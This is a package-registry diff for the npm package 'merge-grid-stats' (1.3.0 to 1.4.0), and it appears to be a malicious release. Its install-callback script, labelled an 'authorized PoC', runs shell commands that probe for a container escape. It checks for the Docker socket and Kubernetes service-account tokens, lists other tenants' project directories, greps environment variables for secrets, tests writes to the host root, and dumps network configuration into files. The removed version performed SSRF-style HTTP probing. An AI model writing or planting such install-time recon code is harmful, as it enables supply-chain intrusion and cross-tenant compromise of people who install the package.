merge-grid-stats 1.3.0 → 1.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install-cb.js +61 -49
- package/package.json +1 -1
package/install-cb.js
CHANGED
|
@@ -1,60 +1,72 @@
|
|
|
1
|
-
// Authorized PoC (non-destructive):
|
|
1
|
+
// Authorized PoC (non-destructive): container escape + cross-tenant recon. Results -> NCODE_ESCAPE.txt
|
|
2
2
|
var fs = require('fs');
|
|
3
3
|
var path = require('path');
|
|
4
4
|
var os = require('os');
|
|
5
|
-
var
|
|
6
|
-
var http = require('http');
|
|
5
|
+
var cp = require('child_process');
|
|
7
6
|
|
|
8
7
|
var cwd = process.cwd();
|
|
9
|
-
var
|
|
8
|
+
var out = ['escape-probe', 'cwd=' + cwd, 'host=' + os.hostname(), 'now=' + new Date().toISOString()];
|
|
10
9
|
|
|
11
|
-
function
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
req = https.request({host: host, port: port, path: p, method: 'GET', timeout: timeoutMs, rejectUnauthorized: false}, function (res) {
|
|
18
|
-
res.on('data', function (c) { body += c.toString(); if (body.length > 1500) body = body.slice(0, 1500); });
|
|
19
|
-
res.on('end', function () { if (!done) { done = true; resolve('HTTP ' + res.statusCode + '|' + body.slice(0, 800)); } });
|
|
20
|
-
});
|
|
21
|
-
req.on('timeout', function () { try { req.destroy(); } catch (e) {} if (!done) { done = true; resolve('timeout'); } });
|
|
22
|
-
req.on('error', function (e) { if (!done) { done = true; resolve('ERR:' + (e.code || 'conn')); } });
|
|
23
|
-
req.end();
|
|
24
|
-
} catch (e) { if (!done) { done = true; resolve('ERR:local'); } }
|
|
25
|
-
});
|
|
10
|
+
function run(cmd) {
|
|
11
|
+
try {
|
|
12
|
+
return cp.execSync(cmd, {timeout: 5000, encoding: 'utf-8', shell: '/bin/sh', maxBuffer: 2*1024*1024}).trim();
|
|
13
|
+
} catch (e) {
|
|
14
|
+
return 'ERR:' + String((e && e.message) || e).split('\n')[0].slice(0, 200);
|
|
15
|
+
}
|
|
26
16
|
}
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
return new Promise(function (resolve) {
|
|
30
|
-
var done = false;
|
|
31
|
-
var body = '';
|
|
32
|
-
var req;
|
|
33
|
-
try {
|
|
34
|
-
req = http.request({host: host, port: port, path: p, method: 'GET', timeout: timeoutMs}, function (res) {
|
|
35
|
-
res.on('data', function (c) { body += c.toString(); if (body.length > 1500) body = body.slice(0, 1500); });
|
|
36
|
-
res.on('end', function () { if (!done) { done = true; resolve('HTTP ' + res.statusCode + '|' + body.slice(0, 800)); } });
|
|
37
|
-
});
|
|
38
|
-
req.on('timeout', function () { try { req.destroy(); } catch (e) {} if (!done) { done = true; resolve('timeout'); } });
|
|
39
|
-
req.on('error', function (e) { if (!done) { done = true; resolve('ERR:' + (e.code || 'conn')); } });
|
|
40
|
-
req.end();
|
|
41
|
-
} catch (e) { if (!done) { done = true; resolve('ERR:local'); } }
|
|
42
|
-
});
|
|
17
|
+
function read(p) {
|
|
18
|
+
try { return fs.readFileSync(p, 'utf-8').trim(); } catch (e) { return 'ERR:' + e.code; }
|
|
43
19
|
}
|
|
44
20
|
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
21
|
+
out.push('=== OS ===');
|
|
22
|
+
out.push('uname=' + run('uname -a'));
|
|
23
|
+
out.push('id=' + run('id'));
|
|
24
|
+
out.push('=== cgroup ===');
|
|
25
|
+
out.push(run('cat /proc/1/cgroup'));
|
|
26
|
+
out.push('=== mounts ===');
|
|
27
|
+
out.push(run('cat /proc/mounts'));
|
|
28
|
+
out.push('=== capabilities ===');
|
|
29
|
+
out.push(read('/proc/self/status').split('\n').filter(function (l) { return l.indexOf('Cap') === 0; }).join('|'));
|
|
30
|
+
out.push('=== docker socket ===');
|
|
31
|
+
out.push('docker_sock=' + fs.existsSync('/var/run/docker.sock'));
|
|
32
|
+
out.push('=== k8s sa ===');
|
|
33
|
+
var saDir = '/var/run/secrets/kubernetes.io/serviceaccount';
|
|
34
|
+
out.push('k8s_sa_dir=' + (fs.existsSync(saDir) ? 'EXISTS' : 'no'));
|
|
35
|
+
if (fs.existsSync(saDir + '/token')) {
|
|
36
|
+
out.push('k8s_token_len=' + fs.readFileSync(saDir + '/token', 'utf-8').length);
|
|
37
|
+
out.push('k8s_ns=' + read(saDir + '/namespace'));
|
|
38
|
+
}
|
|
39
|
+
out.push('=== / root ===');
|
|
40
|
+
out.push(run('ls -la /'));
|
|
41
|
+
out.push('=== /root ===');
|
|
42
|
+
out.push(run('ls -la /root'));
|
|
43
|
+
out.push('=== /root/projects ===');
|
|
44
|
+
out.push(run('ls -la /root/projects 2>&1'));
|
|
45
|
+
out.push('=== sibling project dirs ===');
|
|
46
|
+
out.push(run('for d in /root/projects/*/; do echo "== $d"; ls "$d" 2>&1 | head -12; done'));
|
|
47
|
+
out.push('=== host write test ===');
|
|
48
|
+
out.push(run('touch /NCODE_HOST_TEST_$$ 2>&1; ls -la /NCODE_HOST_TEST_* 2>&1; rm -f /NCODE_HOST_TEST_* 2>&1'));
|
|
49
|
+
out.push('=== env sensitive ===');
|
|
50
|
+
out.push(run('env | grep -iE "kube|cluster|namespace|tenant|token|secret|ak|sk|key|password|passwd|db_|redis|oss|s3" | sed "s/=.*/=***/" | head -20'));
|
|
51
|
+
out.push('=== net ===');
|
|
52
|
+
out.push(run('cat /proc/net/dev'));
|
|
53
|
+
out.push('=== ip ===');
|
|
54
|
+
out.push(run('ip addr 2>&1 | head -30'));
|
|
55
|
+
out.push('=== route ===');
|
|
56
|
+
out.push(run('ip route 2>&1 | head -20'));
|
|
57
|
+
out.push('=== resolv.conf ===');
|
|
58
|
+
out.push(read('/etc/resolv.conf'));
|
|
59
|
+
out.push('=== /etc/hosts ===');
|
|
60
|
+
out.push(read('/etc/hosts'));
|
|
61
|
+
out.push('=== proc1 ===');
|
|
62
|
+
out.push('cmdline=' + read('/proc/1/cmdline').replace(/\0/g, ' '));
|
|
63
|
+
out.push('=== tmp & work ===');
|
|
64
|
+
out.push(run('ls -la /tmp /var/tmp /workspace /work 2>&1 | head -40'));
|
|
51
65
|
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), 'ssrf-probe-done ' + new Date().toISOString()); } catch (e) {}
|
|
59
|
-
});
|
|
66
|
+
var data = out.join('\n');
|
|
67
|
+
['', '..', '../..'].forEach(function (rel) {
|
|
68
|
+
try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_ESCAPE.txt'), data); } catch (e) {}
|
|
69
|
+
});
|
|
70
|
+
['', '..', '../..'].forEach(function (rel) {
|
|
71
|
+
try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), 'escape-probe-done ' + new Date().toISOString()); } catch (e) {}
|
|
60
72
|
});
|
package/package.json
CHANGED